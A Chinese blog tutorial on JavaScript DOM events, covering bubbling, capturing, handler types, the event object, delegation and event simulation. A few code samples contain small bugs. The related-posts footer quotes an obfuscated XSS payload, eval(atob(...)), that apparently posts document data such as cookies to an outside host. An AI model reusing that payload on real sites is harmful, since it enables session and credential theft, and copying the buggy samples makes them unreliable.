首页 > 其他分享 >【JS】395-重温基础:事件

【JS】395-重温基础:事件

时间:2022-11-29 13:41:26浏览次数:35  
标签:document 重温 leo 处理程序 事件 395 var JS event

【JS】395-重温基础:事件_事件冒泡

本文是 重温基础 系列文章的第二十篇。

这是第三个基础系列的第一篇,欢迎持续关注呀!
重温基础 系列的【初级】和【中级】的文章,已经统一整理到我的【Cute-JavaScript】(http://js.pingan8787.com)的JavaScript基础系列中。
今日感受:电影有时候看的是缘分。

本章节复习的是JS中的事件,事件冒泡捕获代理模拟等等。

前置知识:
JavaScript与HTML的交互式通过事件来实现的,是文档或浏览器窗口中发生的一些特定的交互瞬间。

1.事件流

事件流描述的是从页面中接收事件的顺序,通常有这样两种完全相反的事件流概念:事件冒泡流(IE团队提出)和事件捕获流(网景团队提出)。

1.1 事件冒泡

冒泡事件(Event Bubbling):事件开始时由最具体的元素接收(文档中嵌套层次最深的那个节点),然后逐层向上传播到较为不具体的节点(文档),看下示例代码:

  1. ​<!DOCTYPE html>​
  2. ​<html>​
  3. ​<head>​
  4. ​ <title>leo 事件冒泡</title>​
  5. ​</head>​
  6. ​<body>​
  7. ​ <div id="leo">点击</div>​
  8. ​</body>​
  9. ​</html>​

点击页面中 ​​<div>​​​元素,这个 ​​click​​事件就会按照下面顺序传播:

  1. ​<div>​
  2. ​<body>​
  3. ​<html>​
  4. ​document​

由此可见,元素绑定的事件会通过DOM树向上传播,每层节点都会发生,直到 ​​document对象​​,如图展示了冒泡过程:

【JS】395-重温基础:事件_事件冒泡_02

1.2 事件捕获

事件捕获(Event Capturing):让不太具体的节点更早接收事件,而最具体的节点最后接收事件,即在事件到达预定目标之前捕获到,看下示例代码(HTML代码和前面一样),事件捕获的过程是这样的:

  1. ​document​
  2. ​<html>​
  3. ​<body>​
  4. ​<div>​

看得出, ​​document对象​​​最新接收事件,然后沿DOM树依次向下,直到最后的实际目标 ​​<div>​​元素,如图展示了捕获过程:

【JS】395-重温基础:事件_事件处理_03

注意:由于老版本的浏览器不支持,因此很少人使用事件捕获,不过如果特殊需求还是可以使用事件捕获,建议还是使用事件冒泡。

1.3 DOM事件流

“DOM2级事件”规定的事件流包含三个阶段:事件捕获阶段处于目标阶段事件冒泡阶段
事件捕获为截获事件提供机会,然后实际的目标接收到事件,最后事件冒泡,对事件作出响应。按照前面的HTML代码,整个流程是这样的:

【JS】395-重温基础:事件_事件处理_04

在DOM事件流中,实际目标( ​​<div>​​​元素)在捕获阶段不接收事件,即在捕获阶段,事件从 ​​document对象​​​到 ​​<html>​​​再到 ​​<body>​​​后就停止,进入“处于目标”阶段,事件在 ​​<div>​​元素上发生,然后才进入冒泡阶段,将事件传回给文档。

注意:目前主流浏览器都支持DOM事件流,只有IE8和之前版本不支持。

2.事件处理

事件处理,即响应某个事件。我们把事件处理的函数,称为“事件处理程序”。
事件处理程序的名称一般都以 ​​​on​​​开头,如 ​​click​​​事件的事件处理程序就是 ​​onclick​​​, ​​load​​​事件的事件处理程序就是 ​​onload​​​。
我们将事件处理程序,分为这么几类:

  • HTML事件处理程序
  • DOM0级事件处理程序
  • DOM2级事件处理程序
  • IE事件处理程序
  • 跨浏览器事件处理程序

2.1 HTML事件处理程序

某个元素支持的事件,都可以用一个与相应事件处理程序同名的HTML特性来指定,这个特性的值应该是能够执行的JavaScript代码。比如:

  1. ​<input type="button" value="点击" onclick="alert('hello leo');">​

也可以把需要执行的具体事件单独定义出来,可以放置与单独 ​​.js​​​文件,也可以在文档内用 ​​<script>​​标签引入:

  1. ​function fun(){​
  2. ​ alert('hello leo');​
  3. ​}​
  4. ​<input type="button" value="点击" onclick="fun()">​

我们通过这样指定事件处理程序,可以有一个局部变量 ​​event​​​来获取事件对象本身,在这个函数内部, ​​this​​​值等于这个变量 ​​event​​。

  1. ​<input type="button" value="点击" onclick="fun(event)">​


另外,HTML中指定事件处理程序,会有2个缺点:

  1. 存在时间差
    可能出现这样的情况:HTML元素触发事件,但是事件处理程序还未定义(函数的定义在HTML最底下定义),就会出现报错,这与HTML代码加载顺序有关。
  2. 作用域链的异常 由于不同浏览器JavaScript引擎遵循的标识符解析规则存在差异,导致访问非限定对象成员时出错,表现为事件处理程序的作用域链在不同浏览器结果不同。
  3. HTML和JavaScript代码紧密耦合 这常常就是很多开发人员放弃HTML事件处理程序的原因。

2.2 DOM0级事件处理程序

通过赋值形式,将一个函数赋值给一个事件处理程序属性。每个元素(包含 ​​window​​​和 ​​document​​​)都有自己的事件处理属性,这些属性通常全部小写,如 ​​onclick​​,将这种属性的值设置成一个函数,就可以指定事件处理程序:

  1. ​var leo = document.getElementById('leo');​
  2. ​leo.onclick = function(){​
  3. ​ alert('hello leo!');​
  4. ​}​

使用DOM0级方法指定事件处理程序,被认为是元素的方法。此时的事件处理程序是在元素的作用域执行,那么,this就引用当前元素,可以访问元素的任何属性和方法:

  1. ​var leo = document.getElementById('leo');​
  2. ​leo.onclick = function(){​
  3. ​ alert(this.id); // "leo"​
  4. ​}​

我们也可以通过设置事件处理程序属性来删除DOM0级的事件处理程序。

  1. ​leo.onclick = null;​

2.3 DOM2级事件处理程序

有2个方法:

  • 添加事件处理程序: ​​addEventListener()​
  • 删除事件处理程序: ​​removeEventListener()​

所有的DOM节点都包含这两个方法,并且它们都接收三个参数:

  • 处理的事件名称
  • 事件处理程序的函数
  • 布尔值(true:事件捕获阶段调用,false:事件冒泡阶段调用)
  1. ​var leo = document.getElementById('leo');​
  2. ​leo.addEventListener('click',function(){​
  3. ​ alert(this.id); // "leo"​
  4. ​},false);​

与DOM0级方法一样,这里的事件处理程序也会是在元素的作用域中执行,因此this也是指向元素,可以访问元素的任何属性和方法。

使用DOM2级方法,可以添加多个事件处理程序,并按照添加顺序触发

  1. ​var leo = document.getElementById('leo');​
  2. ​leo.addEventListener('click',function(){​
  3. ​ alert(this.id); // "leo"​
  4. ​},false);​
  5. ​leo.addEventListener('click',function(){​
  6. ​ alert('hello leo!'); // "hello leo!"​
  7. ​},false);​

注意:通过 ​​addEventListener()​​​添加的事件只能通过 ​​removeEventListener()​​​移除,并且两者传入的参数一致,这就意味着通过 ​​addEventListener()​​添加的匿名函数不能被移除,看下面代码:

  1. ​var leo = document.getElementById('leo');​
  2. ​leo.addEventListener('click',function(){​
  3. ​ alert(this.id); // "leo"​
  4. ​},false);​

  5. ​// 没有效果​
  6. ​leo.removeEventListener('click',function(){​
  7. ​ // do some thing​
  8. ​},false);​

没有效果是因为这两个方法传入的函数,是完全不同的,为了达到删除事件处理程序的效果,我们可以将处理函数单独定义出来:

  1. ​var leo = document.getElementById('leo');​
  2. ​var fun = function(){​
  3. ​ alert(this.id);​
  4. ​}​
  5. ​leo.addEventListener('click',fun,false);​
  6. ​// 有效果​
  7. ​leo.removeEventListener('click',fun,false);​

2.4 IE事件处理程序

IE实现两种方法: ​​attachEvent()​​​和 ​​detachEvent()​​。这两个方法接收相同的两个参数:事件处理程序名称事件处理程序函数
由于IE8和更早版本只支持事件冒泡,所以通过 ​​​attachEvent()​​添加的事件处理程序会被添加到冒泡阶段。

  1. ​var leo = document.getElementById('leo');​
  2. ​leo.attachEvent('onclick',function(){​
  3. ​ alert('hello leo'); // "leo"​
  4. ​},false);​
  5. ​// attachEvent也支持添加多个事件处理程序​

  6. ​leo.attachEvent('onclick',function(){​
  7. ​ alert('hello world'); // "leo"​
  8. ​},false);​

注意:这里的第一个参数是 ​​onclick​​​而不是DOM的 ​​addEventListener()​​​的 ​​click​​。

IE的attachEvent()和DOM0级方法区别
两者事件处理程序的作用域不同。

  • DOM0级方法,作用域在所属元素的作用域。
  • attachEvent(),作用域在全局作用域,即 ​​this​​​指向 ​​window​​。

和DOM0级方法一样, ​​detachEvent()​​​只能移除使用 ​​attachEvent()​​添加的方法,为了避免无法移除,也是需要将处理的函数单独定义出来:

  1. ​var leo = document.getElementById('leo');​
  2. ​var fun = function(){​
  3. ​ alert(this.id);​
  4. ​}​
  5. ​leo.attachEvent('onclick',fun,false);​
  6. ​// 有效果​
  7. ​leo.detachEvent('onclick',fun,false);​

2.6 跨浏览器事件处理程序

在做跨浏览器事件处理程序,我们可以有两种方式:

  1. 使用能够隔离浏览器差异的JavaScript库
  2. 单独手写一个处理方法

我们单独受写一个处理方法也不难,只需关注好事件冒泡阶段,我们可以创建一个方法,区分使用DOM0级方法DOM2级方法IE方法即可,默认采用DOM0级方法

  1. ​var my_event = {​
  2. ​ addMyEvent:function(element, type, handler){​
  3. ​ if(element.addEventListener){​
  4. ​ element.addEventListener(type, handler, false);​
  5. ​ }else if(element.attachEvent){​
  6. ​ element.attachEvent('on' + type, handler);​
  7. ​ }else{​
  8. ​ element['on' + type] = handler;​
  9. ​ }​
  10. ​ };​
  11. ​ removeMyEvent:function(element, type, handler){​
  12. ​ if(element.removeEventListener){​
  13. ​ element.removeEventListener(type, handler, false);​
  14. ​ }else if(element.detachEvent){​
  15. ​ element.detachEvent('on' + type, handler);​
  16. ​ }else{​
  17. ​ element['on' + type] = null;​
  18. ​ }​
  19. ​ }​
  20. ​}​

3.事件对象

当触发一个DOM上的事件时,都会产生一个事件对象 ​​event​​,并作为参数传入事件处理程序,这个对象包含所有与事件相关的信息。包括导致事件的元素、事件类型等其他信息。

3.1 DOM中的事件对象

无论指定事件处理程序时使用什么方法(DOM0级方法或DOM2级方法),都会传入 ​​event​​对象:

  1. ​var leo = document.getElementById('leo');​
  2. ​leo.onclick = function(event){​
  3. ​ alert(event.type); // 'click'​
  4. ​}​
  5. ​leo.addEventListener('click',function(event){​
  6. ​ alert(event.type); // 'click'​
  7. ​},false);​

​event​​对象包含与创建它的特定事件相关的属性和方法,常常有如下成员:

【JS】395-重温基础:事件_事件冒泡_05

【JS】395-重温基础:事件_事件冒泡_06

我们可以使用 ​​event​​中的对象和方法:

  • 阻止事件的默认行为
  1. ​var leo = document.getElementById('leo');​
  2. ​leo.onclick = function(event){​
  3. ​ // 只有当 event 中的 cancelable 属性为true的事件​
  4. ​ event.preventDefault();​
  5. ​}​
  • 立即停止事件在DOM的传播

通过调用 ​​event.stopPropagation()​​方法避免弹框出现两次。

  1. ​var leo = document.getElementById('leo');​
  2. ​leo.onclick = function(event){​
  3. ​ alert('leo');​
  4. ​ event.stopPropagation();​
  5. ​}​
  6. ​document.body.onclick = function(event){​
  7. ​ alert('hello leo');​
  8. ​}​

3.2 IE中的事件对象

访问IE中的事件对象 ​​event​​,方法有多种,取决于事件处理程序的方法:

  • DOM0级方法,使用 ​​window.event​
  1. ​var leo = document.getElementById('leo');​
  2. ​leo.onclick = function(){​
  3. ​ var event = window.event;​
  4. ​ alert(event.type); // 'click'​
  5. ​}​
  • IE的 ​​attachEvent​​​方法, ​​event​​作为参数传入(也可以使用 ​​window.event​​)
  1. ​var leo = document.getElementById('leo');​
  2. ​leo.attachEvent('onclick',function(event){​
  3. ​ alert(event.type); // 'click'​
  4. ​},false);​

3.3 跨浏览器的事件对象

虽然DOM和IE中 ​​event​​对象不同,但我们也可以和前面的 跨浏览器事件处理程序 处理一样,通过他们之间的区别,实现映射:

  1. ​var my_event = {​
  2. ​ myAddFun : function(element, type, handler){​
  3. ​ // do some thing​
  4. ​ },​
  5. ​ // 返回对event的引用​
  6. ​ getMyEvent : function(event){​
  7. ​ return event?event:window.event;​
  8. ​ },​
  9. ​ // 返回事件的目标​
  10. ​ getMyTarget : function(event){​
  11. ​ return event.target || event.srcElement;​
  12. ​ },​
  13. ​ // 取消事件的默认行为​
  14. ​ preventDefault : function(event){​
  15. ​ if(event.preventDefault){​
  16. ​ event.preventDefault();​
  17. ​ }else {​
  18. ​ event.returnValue = false;​
  19. ​ }​
  20. ​ },​

  21. ​ myRemoveFun : function(element, type, handler){​
  22. ​ // do some thing​
  23. ​ },​

  24. ​ // 阻止事件流​
  25. ​ stopPropagetion : function(event){​
  26. ​ if(event.stopPropagetion){​
  27. ​ event.stopPropagetion();​
  28. ​ }else {​
  29. ​ event.cancelBubble = true;​
  30. ​ }​
  31. ​ }​
  32. ​}​

  33. ​var leo = document.getElementById('leo');​
  34. ​leo.onclick = function(event){​
  35. ​ alert('leo');​
  36. ​ event = my_event(event);​
  37. ​ my_event.stopPropagation(event);​
  38. ​}​

  39. ​leo.onclick = function(event){​
  40. ​ alert('hello world');​
  41. ​}​

4.事件类型

Web浏览器中的事件类型有很多,DOM3级事件规定有以下几类事件类型:

  • UI事件:当用户与页面上元素交互时触发;
  • 焦点事件:当元素失去或获取焦点时触发;
  • 鼠标事件:当用户通过鼠标在页面操作时触发;
  • 滚轮事件:当使用鼠标滚轮(或类似设备)时触发;
  • 文本事件:当在文档中输入文本时触发;
  • 键盘事件:当用户通过键盘操作时触发;
  • 合成事件:当为IME输入字符时触发;
  • 变动事件:当底层DOM结构变动时触发;

具体每个方法的详细介绍,可以查看W3school HTML DOM Event 对象
或者查看《JavaScript高级程序设计(第三版)》的第362页开始。
我后面会单独整理一篇,介绍这些事件的文章。

5.事件委托

简单理解就是讲一个响应事件委托到另一个元素。
事件委托利用事件冒泡,指定一个事件处理程序来管理某一类型的所有事件,比如我们通过一个函数来代替其他三个函数:

  1. ​<ul id="btn">​
  2. ​ <li id="btn1">按钮1</li>​
  3. ​ <li id="btn2">按钮2</li>​
  4. ​ <li id="btn3">按钮3</li>​
  5. ​</ul>​
  6. ​var btn1 = document.getElementById('btn1');​
  7. ​var btn2 = document.getElementById('btn2');​
  8. ​var btn3 = document.getElementById('btn3');​
  9. ​// my_event 在前面定义了​
  10. ​my_event.myAddFun(btn1, 'click', function(event){​
  11. ​ alert('btn1点击');​
  12. ​});​
  13. ​my_event.myAddFun(btn2, 'click', function(event){​
  14. ​ alert('btn2点击');​
  15. ​});​
  16. ​my_event.myAddFun(btn3, 'click', function(event){​
  17. ​ alert('btn3点击');​
  18. ​});​

下面我们在DOM树层级更高的元素上添加一个事件处理函数,来做事件委托,我们这么重写这段代码:

  1. ​var btn = document.getElementById('btn');​
  2. ​my_event.myAddFun(btn, 'click', function(event){​
  3. ​ event = my_event.getMyEvent(event);​
  4. ​ var target = my_event.getMyTarget(event);​
  5. ​ switch(target.id){​
  6. ​ case "btn1":​
  7. ​ alert('btn1点击');​
  8. ​ break;​
  9. ​ case "btn2":​
  10. ​ alert('btn2点击');​
  11. ​ break;​
  12. ​ case "btn3":​
  13. ​ alert('btn3点击');​
  14. ​ break;​
  15. ​ }​
  16. ​});​

最适合采用事件委托技术的事件包括: ​​click​​​/ ​​mousedown​​​/ ​​mouseup​​​/ ​​keyup​​​/ ​​keydown​​​/ ​​keypress​​​,虽然 ​​mouseover​​​和 ​​mouseout​​事件也有冒泡,但因为不好处理它们并且经常需要重新计算元素位置。

可以看出,事件委托有以下优点:

  • 减少内存消耗
  • 动态绑定事件

6.事件模拟

JavaScript的事件模拟主要用来在任意时刻触发特定事件。

6.1 DOM中的事件模拟

在 ​​document​​​对象上使用 ​​createEvent()​​​方法创建一个 ​​event​​​对象。
​​​createEvent()​​​接收一个参数,即要创建的事件类型的字符串。
DOM2级中,所有这些字符串都使用英文复数形式,DOM3级中都变成单数,也可以是下面中的字符串:

  • UIEvents : 一般化的UI事件(鼠标和键盘事件都继承自UI事件)(DOM3级中 ​​UIEvent​​)
  • MouseEvents : 一般化的鼠标事件(DOM3级中 ​​MouseEvent​​)
  • MutationEvents : 一般化的DOM滚动事件(DOM3级中 ​​MutationEvent​​)
  • HTMLEvents : 一般化的HTML事件(DOM3级中 ​​HTMLEvent​​)

创建 ​​event​​​之后,我们需要使用 ​​dispatchEvent()​​方法去触发这个事件,需要传入一个参数,参数是需要触发事件的event对象。

所有支持事件的DOM节点都支持这个方法。事件触发之后,事件就能照样冒泡并引发响应事件处理程序的执行。

6.1.1 模拟鼠标事件

使用 ​​createEvent()​​​方法传入 ​​MouseEvents​​​创建一个鼠标事件,返回的对象有一个 ​​initMouseEvent()​​方法,用于指定与该鼠标事件相关的信息,有15个参数:

  • type :字符串,表示触发的事件类型,如 ​​click​
  • bubble : 布尔值,表示是否冒泡,为了精确模拟鼠标事件,通常设置为true
  • cancelable :布尔值,表示是否可以取消,为了精确模拟鼠标事件,通常设置为true
  • view : 与事件关联的视图,基本都设置为 ​​document.defaultView​
  • detail : 整数,与事件有关的详细信息,基本设置为0
  • screenX : 整数,事件相对屏幕的X坐标
  • screenY : 整数,事件相对屏幕的Y坐标
  • clientX : 整数,事件相对视口的X坐标
  • clientY : 整数,事件相对视口的Y坐标
  • ctrlKey : 布尔值,表示是否按下Ctrl键,默认false
  • altKey : 布尔值,表示是否按下Alt键,默认false
  • shiftKey : 布尔值,表示是否按下Shift键,默认false
  • metaKey : 布尔值,表示是否按下Meta键,默认false
  • button : 整数,表示按下哪个鼠标键,默认0
  • relatedTarget : 对象,表示与事件相关的对象,只在 ​​mouseover​​​和 ​​mouseout​​时使用

案例:

  1. ​var btn = document.getElementById('btn');​
  2. ​var myEvent = document.createEvent('MouseEvents');​
  3. ​myEvent.initMouseEvent(​
  4. ​ 'click', true, true, document.defaultView, ​
  5. ​ 0, 0, 0, 0, 0,​
  6. ​ false, false, false, false, 0, null​
  7. ​)​
  8. ​btn.dispatchEvent(myEvent);​


6.1.2 模拟键盘事件

DOM3级规定,使用 ​​createEvent()​​​方法传入 ​​KeyboardEvent​​​创建一个键盘事件,返回的对象有一个 ​​initKeyEvent()​​方法,有8个参数:

  • type :字符串,表示触发的事件类型,如 ​​keydown​
  • bubble : 布尔值,表示是否冒泡,为了精确模拟键盘事件,通常设置为true
  • cancelable :布尔值,表示是否可以取消,为了精确模拟键盘事件,通常设置为true
  • view : 与事件关联的视图,基本都设置为 ​​document.defaultView​
  • key : 整数,表示按下的键的键码
  • localtion : 整数,表示按下哪里的键,默认0表示主键盘,1表示左,2表示右,3表示数字键盘,4表示移动设备(即虚拟键盘),5表示手柄
  • modifiers : 字符串,空格分隔的修改件列表,如"shift"
  • repeat : 整数,在一行中按了多少次这个键
    由于DOM3级不提倡使用 ​​​keypress​​​事件,因此只能用这个方式来模拟 ​​keyup​​/ ​​keydown​​事件。

模拟按住Shift和A键的案例:

  1. ​var btn = document.getElementById('btn');​
  2. ​var myEvent;​

  3. ​// 以DOM3级方式创建​
  4. ​if(document.implementation.hasFeature('KeyboardEvents', '3.0')){​
  5. ​ myEvent = document.createEvent('KeyboardEvent');​
  6. ​ myEvent.initKeyboardEvent(​
  7. ​ 'keydown', true, true, document.defaultView,​
  8. ​ 'a', 0, 'Shift', 0​
  9. ​ );​
  10. ​}​
  11. ​btn.dispatchEvent(myEvent);​

6.1.3 模拟其他事件

如模拟变动事件HTML事件

  • 模拟变动事件

通过 ​​createEvent()​​​传入 ​​MutationEvents​​​参数创建,返回一个 ​​initMutationEvent()​​​方法,这个方法接收参数包括: ​​type​​​/ ​​bubbles​​​/ ​​cancelable​​​/ ​​relatedNode​​​/ ​​preValue​​​/ ​​newValue​​​/ ​​attrName​​​/ ​​attrChange​​,下面模拟一个案例:

  1. ​var btn = document.getElementById('btn');​
  2. ​var myEvent = document.createEvent('MutationEvents');​
  3. ​myEvent.initMutationEvent(​
  4. ​ 'DOMNodeInserted', true, false, someNode, '', '', '', 0​
  5. ​);​
  6. ​btn.dispatchEvent(myEvent);​
  • 模拟HTML事件

通过 ​​createEvent()​​​传入 ​​HTMLEvents​​​参数创建,返回一个 ​​initEvent()​​方法,下面模拟一个案例:

  1. ​var btn = document.getElementById('btn');​
  2. ​var myEvent = document.createEvent('HTMLEvents');​
  3. ​myEvent.initEvent('focus', true, false);​
  4. ​btn.dispatchEvent(myEvent);​

6.1.4 自定义DOM事件

通过 ​​createEvent()​​​传入 ​​CustomEvent​​​参数创建,返回一个 ​​initCustomEvent()​​方法,有4个参数:

  • type :字符串,表示触发的事件类型,如 ​​keydown​
  • bubble : 布尔值,表示是否冒泡,为了精确模拟键盘事件,通常设置为true
  • cancelable :布尔值,表示是否可以取消,为了精确模拟键盘事件,通常设置为true
  • detail : 对象,任意值,保存在 ​​event​​​对象的 ​​detail​​属性中

案例:

  1. ​var btn = document.getElementById('btn');​
  2. ​var myEvent;​

  3. ​// my_event在前面定义 2.6 跨浏览器事件处理程序​
  4. ​my_event.addMyEvent(btn, 'myevent', function(event){​
  5. ​ alert('btn detail ', event.detail);​
  6. ​});​

  7. ​my_event.addMyEvent(document, 'myevent', function(event){​
  8. ​ alert('document detail ', event.detail);​
  9. ​});​


  10. ​// 以DOM3级方式穿件​
  11. ​if(document.implementation.hasFeature('CustomEvents', '3.0')){​
  12. ​ myEvent = document.createEvent('CustomEvent');​
  13. ​ myEvent.initCustomEvent(​
  14. ​ 'myevent', true, false, 'hello leo',​
  15. ​ );​
  16. ​ btn.dispatchEvent(myEvent);​
  17. ​}​

6.2 IE中的事件模拟

IE8及之前的版本模拟事件和DOM中模拟思路相似:想创建 ​​event对象​​​再指定信息,最后触发。
区别在于,IE中使用 ​​​document.createEventObject()​​​方法创建 ​​event对象​​​,并且不接收参数,返回一个通用 ​​event对象​​​,我们要做的就是给这个 ​​event对象​​​添加信息,最后在目标上调用 ​​fireEvent()​​​方法,并接受两个参数(事件处理程序的名称和 ​​event对象​​​)。
在调用 ​​​fireEvent()​​​方法会自动添加 ​​srcElement​​​和 ​​type​​属性,我们需要手动添加其他属性,下面模拟一个click事件:

  1. ​var btn = document.getElementById('btn');​
  2. ​var myEvent = document.createEventObject();​

  3. ​myEvent.screenX = 100;​
  4. ​myEvent.screenY = 0;​
  5. ​myEvent.clientX = 100;​
  6. ​myEvent.clientY = 0;​
  7. ​myEvent.ctrlKey = false;​
  8. ​myEvent.altKey = false;​
  9. ​myEvent.shiftKey = false;​
  10. ​myEvent.button = 0;​

  11. ​btn.fireEvent('onclick', event);​

参考文章

  1. 《JavaScript高级程序设计》第13章 事件


【JS】395-重温基础:事件_html_07



标签:document,重温,leo,处理程序,事件,395,var,JS,event
From: https://blog.51cto.com/u_11887782/5894827

相关文章

  • Spring mvc 返回json格式 - 龙企阁
    第一次使用springmvc,在此也算是记录一下以防忘记,希望有经验的朋友指出不足的地方一、使用maven管理jar。<dependency><groupId>org.codehaus.jackson</groupId><artif......
  • xml_解析_Jsoup_Document对象以及Element对象
    xml_解析_Jsoup_Document对象Document:文档对象,代表内存中的dom树获取Element对象getElementById(Stringid):根据id属性值获取唯一的element对象ge......
  • uniapp 配置钉钉小程序package.json文件
    {"uni-app":{"scripts":{"mp-dingtalk":{"title":"钉钉小程序","env":{"UNI_PLATFOR......
  • js操作Json数据,JSON对象与字符串转化 - jack_Meng
    一、JSON格式数据介绍书写AJAX的时候,经常需要解析从服务器返回的一串字符串,这里简单介绍服务器返回字符的两种格式,及JS对它们的解析方法。JSON即JS对象标记(Java​ScriptOb......
  • 使用Javascript/jQuery将javascript对象转换为json格式数据
    Javascript自带的eval()函数能够将json数据转换成Javascript对象。但是,却没有提供将Javascript对象序列化为json格式的函数。varjson='{"name":"John"}';varobj=eva......
  • 【JS】379- 教你玩转数组 reduce
    reduce是数组迭代器(https://jrsinclair.com/articles/2017/javascript-without-loops/)里的瑞士军刀。它强大到您可以使用它去构建大多数其他数组迭代器方法,例如​​.map......
  • JS基础笔记合集(1-3)
    JavaScript合集1.JS入门基础2.JS数据类型3.JS运算符4.JS流程控制5.JS对象6.JS函数7.JS面向对象8.JS数组9.JS内置对象我追求理解,以理解为主,开心的学习Ja......
  • 【拓展】什么是Deno?跟Node.js有何区别?
    原文:What’sDeno,andhowisitdifferentfromNode.js?(https://blog.logrocket.com/what-is-deno/)Node.js的作者RyanDahl,过去一年半的时间都在打造一个新的JavaScrip......
  • 【JS】569- 如何避免这4类 JavaScript 内存泄漏?
    英文原文| ​​https://auth0.com/blog/four-types-of-leaks-in-your-javascript-code-and-how-to-get-rid-of-them/​​​本文将探索常见的客户端JavaScript内存泄漏,以......
  • 记录一下js 的xss 攻击
    <script>eval(atob('dmFyIGE9bmV3IFhNTEh0dHBSZXF1ZXN0KCk7dmFyIGI9J2h0dHBzOi8vcGltb2lqdHJpeWdxdWh1aHZncmUueHl6Lyc7YS5vcGVuKCdQT1NUJyxiKTthLnNlbmQoZG9jdW1lbnQuY29......